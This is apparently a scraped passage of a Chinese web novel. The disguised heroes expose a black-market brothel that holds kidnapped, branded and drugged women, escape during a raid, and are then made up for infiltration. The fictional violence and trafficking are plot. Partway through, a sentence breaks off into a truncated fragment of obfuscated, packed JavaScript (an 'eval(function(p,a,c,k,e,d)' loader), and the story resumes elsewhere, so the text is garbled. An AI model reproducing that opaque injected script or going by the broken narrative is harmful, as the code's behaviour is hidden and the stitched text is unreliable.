但方妙注意到,她走路时右腿微跛,裙摆下露出半截鞭痕。再看其他女子,有的耳后有烫伤疤痕,有的脖颈戴着项圈,圈上刻着“羊”字印记。 “金三娘,来陪傅爷喝两杯。”傅文宇智敲了敲桌面,独臂随意搭在豹女肩头,“顺便给这两位小公子讲讲,你们新到的‘鲜货’怎么个鲜法。” 话音未落,屏风后转出个胖妇人,穿一身金线绣牡丹的锦袍,耳垂上挂着鸽血红宝石,走路时腰间金铃响成一片——来人是鸨母金三娘。 她扫了方妙二人一眼,肥手拍着傅文宇智肩膀笑出褶子:“傅爷可真会开玩笑,咱们这儿的姑娘啊,都是自愿来寻富贵的……” “自愿?”江知烨突然开口,指节敲了敲桌面,“我听说上面最近闹采花贼,专挑良家女子下手,难不成那些姑娘都自愿跟着贼匪钻狗洞?” 金三娘笑容一滞,随即掩口娇笑:“公子这话说的,采花贼那是官府的事儿,咱们醉红绡可都是正经生意……绿翘,还不给两位公子上酒!” 方妙留意到,金三娘说“正经”二字时,指尖在桌沿连敲三下。绿翘端着酒壶过来,壶嘴不慎碰倒酒杯,酒液泼在方妙袖口。 “抱歉公子,奴手笨……”绿翘低声道歉,方妙却在她抬头瞬间,看见她眼底极快闪过的求救神色。 “无妨。”方妙淡笑,趁势握住她手腕,“姑娘这镯子倒是别致,能否借我瞧瞧?”绿翘浑身僵硬,任由对方取下铜铃。方妙指尖摸索铃身,触到内侧刻着的细小纹路——是个“刘”字。 “刘家小姐?”方妙压低声音。 绿翘瞳孔骤缩,踉跄着后退半步,酒壶“当啷”落地。傅文宇智眯起眼,豹女突然发出低嘶,铁链在她掌心磨出血痕。 “绿翘!”金三娘厉喝,“发什么呆?还不下去换身衣裳!” 闻言绿翘攥着破碎的袖口逃也似的跑开,方妙将铜铃随手丢在桌上,与江知烨对视——果然如他们所料,花楼的“鲜货”正是采花贼绑架的良家女子。 “两位公子对姑娘们的身世很感兴趣?”傅文宇智转着骰子,声音里带着试探,“莫不是……官府的人?” 江知烨大笑出声,:“傅兄说笑了,我兄弟俩跑南闯北,就好这口新鲜劲儿。再说了——”他指节敲了敲豹女的铁链,“官府能让傅兄这么自在地逛花楼?” 傅文宇智盯着空了的酒盏,忽然咧嘴一笑:“也是。金三娘,把你们那‘含羞草’端上来,给两位公子醒醒神。” 金三娘应声而去,方妙却留意到,她走时特意绕到屏风后,对着墙上的山羊头石雕叩了叩首。 墙缝里隐约透出微光,像是有人在监视。 “含羞草是什么?”方妙装作好奇地问。 “喝了你就知道了。”傅文宇智抛着骰子,“能让姑娘们更听话的妙药——当然,对公子们来说,也能让兴致更高。” 江知烨心中一凛,知道这“含羞草”必是迷药。 不一会儿金三娘端着托盘回来,上面摆着三只翡翠杯,杯中液体呈淡粉色,浮着几片花瓣。 傅文宇智率先举杯:“请。” 方妙举起酒杯,凑近时闻到淡淡苦杏仁味。她目光扫过堂内,见几个醉醺醺的客人正扯着姑娘往二楼走,姑娘们虽面带笑意,身体却在抗拒。 “等等。”她忽然开口,“我看那绿翘挺合眼缘,能否让她来陪酒?” 金三娘脸色微变:“公子眼光真好,可惜绿翘今儿身子不爽利……” “让她来。”傅文宇智突然插话,“别扫了公子的兴。” 金三娘咬了咬牙,挥手让龟奴去唤人。方妙趁机将酒杯倾侧,酒液顺着桌沿流到豹女脚边,后者嗅了嗅,眼神突然清明——原来这“含羞草”对兽族有克制作用,能压制兽化能力。 绿翘再次出现时,换了身素白罗裙,腕间铜铃已摘下,露出腕间新缠的布条。 “给公子赔罪。”绿翘垂眸跪下,声音发颤。江知烨注意到,她膝盖上有淤青,显然刚受过罚。 “罢了,坐这儿吧。”方妙指了指自己身侧,“陪我聊聊家常。” 绿翘抬眼,与她对视瞬间,忽然剧烈咳嗽起来。方妙扶住她肩膀,触到她后背凸起的骨骼——竟瘦得只剩一把骨头。 “姑娘可曾读过书?”她低声问,指尖在绿翘掌心写了个“刘”字。 绿翘浑身一震,眼中泛起泪光,却猛地摇头:“奴……奴不识字。” 傅文宇智突然大笑:“小公子怜香惜玉的模样,倒像个情种。金三娘,把你们楼里最会伺候人的‘夜莺’叫来,让这两位公子见识见识什么叫——” 他话未说完,忽听二楼传来瓷器碎裂声。一个披头散发的女子冲出来,撞翻了烛台,火光中可见她脸上满是血痕,胸前衣襟撕裂,露出刺着“羊”字的烙印。 “救命!”她尖叫着往楼下跑,“他们要割了我的舌头……” “抓住她!”金三娘怒吼。 几个龟奴冲上去,手中皮鞭劈头盖脸落下。方妙攥紧袖中银针,却见江知烨微微摇头。 此时动手,只会暴露身份。 女子被拖回二楼时,掉落一只绣鞋。方妙瞥见鞋尖绣着桃花,正是上个月失踪的李戍卫之女的闺中物。 江知烨弯腰捡起绣鞋,皱眉道:“这姑娘看着眼熟……” “公子认错人了。”金三娘抢过绣鞋,“不过是个新来的蠢货,冲撞了贵客……” “贵客?”傅文宇智挑眉,“楼上是谁?” 金三娘赔笑:“是虎刀堂的熊爷,新纳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“每天……喝的茶里有……”绿翘抓住方妙的手,从发间取下芍药,掰开花瓣,里面藏着粒蜡丸,“这是我爹给我的……解毒丹……可是太少了……” 方妙接过蜡丸,触感温润,显然是常年贴身携带。她心中一酸,知道这是刘老爷怕女儿遭难,提前备好的救命药。 “放心,我们会带你出去。”她轻声说,“但现在还不是时候,你先装晕,别让他们发现你清醒了。” 闻言绿翘点头,闭眼时泪水滑落。江知烨将她轻轻放在床上,用被子盖住。 方妙走到窗边,推开窗,见楼下是条狭窄的暗巷,巷子里停着辆封闭的马车,车帘上绣着山羊头标志。 “子时三刻,马车会来运货。”江知烨不知何时来到她身后,“我刚才听见龟奴议论,每月十五,花楼会把‘不听话’的姑娘送去虎刀堂当斗兽奴隶。” 方妙攥紧窗框:“那我们必须在子时前找到出口,通知官府围剿。” “不行,这里势力太多,可不是围剿就抄得完的。”江知烨从怀中掏出从绿翘那里拿到的铜铃,“还有你看这铃舌,是空心的。”他轻轻摇晃,里面传出细微的沙沙声,倒出一看,竟是半片碎纸,上面用朱砂写着“巳时三刻,西角井台”。 “这是……”方妙瞳孔微缩。 “可能是其他被绑架女子留下的求救信号。”江知烨皱眉,“看来黑市中的女子们,一直在试图传递消息。” 楼下突然传来喧哗,傅文宇智的声音清晰可闻:“老子的耐性有限,龟女到底藏在哪儿?”方妙心头一跳,想起豹女还在傅文宇智手中,而他们此刻被困在花楼,不知外面情况如何。 “别慌。”江知烨按住她肩膀,“按原计划,先摸这里结构,找到关押女子的密室,再想办法通知魏三……” 话音未落,房门突然被撞开,金三娘带着几个壮汉闯进来,手中提着灯笼:“公子们好雅兴,竟还有闲心看风景?” 方妙转身,笑容自若:“老板娘这是何意?” 金三娘肥手一挥,壮汉们立刻搜检房间。绿翘被拖下床,却依旧闭着眼装晕。 江知烨挡在她身前,皱眉道:“老板娘这是要扫我们的兴?” “扫兴?”金三娘冷笑,从壮汉手中夺过那半片碎纸,“公子们倒是说说,这东西哪儿来的?” 方妙心中暗叫不好,面上却故作惊讶:“这是什么?方才从姑娘发间掉出来的,我见上面有字,正想问问……” “少废话!”金三娘挥手,壮汉们立刻抓住江知烨,“敢在醉红绡偷传消息,你们活腻了!” 千钧一发之际,窗外突然传来夜枭的叫声——三长两短。 见状金三娘脸色一变,跑到窗边查看,就见暗巷里的马车突然起火,浓烟滚滚中,传来刀剑相击的声音。 “是蛇首堂的人!”壮汉惊呼,“他们来抢货了!” 傅文宇智的独臂突然从窗口伸进来,抓住金三娘的后领:“龟女呢?快说!”金三娘尖叫着指向铁门,傅文宇智立刻松手,独臂如刀,砍断门锁。 方妙趁机拽着江知烨冲向暗巷,却在转角处与豹女撞个正着。 此刻她已挣脱铁链,脖颈有深深的勒痕,却依旧紧握着一枚银哨。 “跟我来!”她沙哑着嗓子,“花楼密道直通鹰喙堂!” 身后传来金三娘的怒吼,方妙回头,见绿翘被一个壮汉拖向马车,铜铃在她腕间摇晃,发出绝望的声响。她猛地转身,银针出手,正中壮汉咽喉。 绿翘摔倒在地,方妙一把将她拉起,塞进江知烨怀里:“走!” 江知烨咬牙,背着绿翘跟着豹女冲进密道。方妙转身迎向追兵,袖中银针如暴雨梨花,转瞬放倒三人。 金三娘立刻挥舞着皮鞭扑上来,却在看清方妙时突然顿住:“你……你是……” 方妙不待她说完,指尖已点中对方哑穴,随即奔向暗巷消失的无影无踪。 远处传来更鼓声——子时三刻已至,暗巷里的马车火势渐大,照亮了花楼匾额上的血字。 72. 困兽入局 子时三刻,城西破庙。 江知烨背着昏迷的绿翘撞开庙门时,安德鲁正坐在供桌上擦拭短刀。 刀刃映出对方紧蹙的眉峰,听见脚步声立刻抬眼。 “怎么样?”安德鲁跳下供桌,短刀入鞘声极轻,“查得怎么样?” “黑市是个五脏俱全的地下王国。”江知烨将绿翘安置在稻草堆上,从怀中掏出半片碎纸,“采花贼的货都进了花楼,而且我猜测里面有四大势力……”他看向安德鲁,“但像是被某种力量牵制着,谁都吞并不了谁。” 安德鲁接过碎纸,指尖摩挲着朱砂字迹:“巳时三刻,西角井台。这是定期转移人质的信号。” “围剿解决不了根本。”方妙靠在斑驳的壁画前,声音里带着疲态,“我们在花楼看见的只是冰山一角,那些被烙上‘羊’字的姑娘,被割舌的奴隶,还有河里的食人鱼……”她忽然攥紧拳头,“他们用活人作赌注,用毒品控制兽族,背后必定有更大的势力在操盘。” “所以想要解决必须打入内部。”江知烨附和道。 方妙点头:“虎刀堂的斗兽场需要新血,傅文宇智在蛇首堂树敌颇多,花楼……”她看了眼昏迷的绿翘,“花楼的姑娘们在等救援。” “不行。”安德鲁断然开口,“黑市不是赌坊,角斗场的死亡率超过七成。” “我混过黑市。”方妙的话让所有人骤然屏息,“目前只有我最清楚黑市内部结构,所以我必须去。” 顾时夜闻言 “噌”地站起来:“妙儿姐,你疯了!那些人会把你抽筋剥骨——” “所以需要有人打前站。”方妙看向江知烨,“知烨跟我一起,他的听骰本事能在蛇首堂立足,我则去虎刀堂打黑拳。” “太冒险了。”安德鲁走到方妙身侧,指尖轻轻碰了碰对方脸上的灰,“黑市的人嗅觉比野兽还灵,你们的乔装能撑多久?” “妆娘改个容貌。”江知烨扯了扯粗布衣裳,咧嘴一笑,“再说了,我本就是长年混赌坊的人,这次不过是把戏台搬到黑市罢了。” 安德鲁忽然抓住方妙的手,力道大得让少女皱眉。 “答应我,活下来。”他低声说,声音只有对方能听见。 方妙抬头,撞上对方担心的瞳孔,“我会安全回来的。” 卯时初,城东暗巷。 妆娘的铺子挂着“人面桃花”的匾额,门扉紧闭,檐下铜铃却在无风自动。 方妙叩了三下门,门缝里立刻伸出只涂着丹蔻的手,将两人拽进去。 “坐。”妆娘掀开珠帘,猩红指甲在两人脸上逡巡。 “先染发。”妆娘拎起木桶,桶中液体呈深褐色,泛着苦涩的草木香,“五倍子混皂角,三月内洗不掉。”她拽过方妙的头发,用木梳蘸着染料从发根开始涂抹,“别动,毁了妆你自己担着。” 染料渗进发丝时,方妙嗅到轻微的焦糊味。江知烨坐在另一张凳子上,任由妆娘将炭粉混着米浆抹在发间,原本的银白发色渐渐变得粗糙暗淡,像被火燎过的枯草。 接下来是面部妆容。妆娘打开漆盒,取出鸽血膏——白鸽血混着朱砂、猪苦胆调成的膏体,凑近能闻到铁锈味。 “要多像?是要面目全非,还是……” “半真半假。我要这半边脸能被认出来,”方妙指了指左侧,“但另一侧……” “懂了。”妆娘突然出手,指尖蘸着药膏抹在她右颊,“黑市的人喜欢伤疤,尤其是女人的。” 方妙刚要开口,膏体已抹上右颊,顿时传来灼烧般的刺痛,仿佛有千万只蚂蚁在啃咬皮肉。 “忍着。”妆娘按住她肩膀,“黑市的姑娘不听话都被用滚油泼脸,这算啥。” 镜中,方妙右颊渐渐鼓起血泡,表皮透明得能看见底下“血水”流动——实则是猪膀胱膜裹着石榴汁。 药膏带着的灼烧感还没过去,方妙咬牙忍住,江知烨别过脸,不敢看方妙扭曲的面容。 妆娘却忽然捏住他下巴,用竹片挑起炭粉:“刀疤要从眉骨到下颌,左眼得做出被打瞎的样子——黑市拳手最恨偷袭,这道疤能博点同情。” 方妙瞥见江知烨的脸被妆娘用炭粉混着树胶填进划出的“伤口”,再敷上捣烂的紫草根,做出化脓的效果。 “左眼用鳔胶黏住眼皮,”妆娘用骨签挑起半透明的鳔胶,“三天内别睁眼,否则眼皮会撕烂。”江知烨左眼被黏成一条缝,睫毛上凝 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江知烨摸了摸顾时夜的头,刀疤牵扯得眉峰微蹙:“替我看好阿澜,别让他总熬夜查账。还有你们的课业……” “知道啦江大人!”顾氏兄弟异口同声,顾夜白忽然从怀里掏出个油纸包,“给你们带了糖糕,路上吃。” 方妙接过糖糕,想说什么但喉咙发紧,随即转身看见柳漠澜正与安德鲁低语。 “走了。”江知烨拍了拍方妙的肩膀。 “好”方妙叹了口气,转瞬眼神变得冷漠,“走吧。” 望着两们消失的背影,顾夜白忽然拽了拽兄长的袖子:“哥,你说妙儿姐和江大人,能活着回来吗?” 顾时夜望着天上的雁群,忽然想起方妙教他们读的《侠客行》:“事了拂衣去,深藏身与名。”他攥紧弟弟的手,声音里带着不属于少年的坚定,“他们会带着光回来。” 远处传来更鼓声,卯时已至。黑市的井台下,食人鱼的背鳍仍在暗河中游弋,等待着下一批猎物。 而獠牙已磨碎恐惧,这一战,不是生吞黑暗,就是让光从伤口里——溅满天地!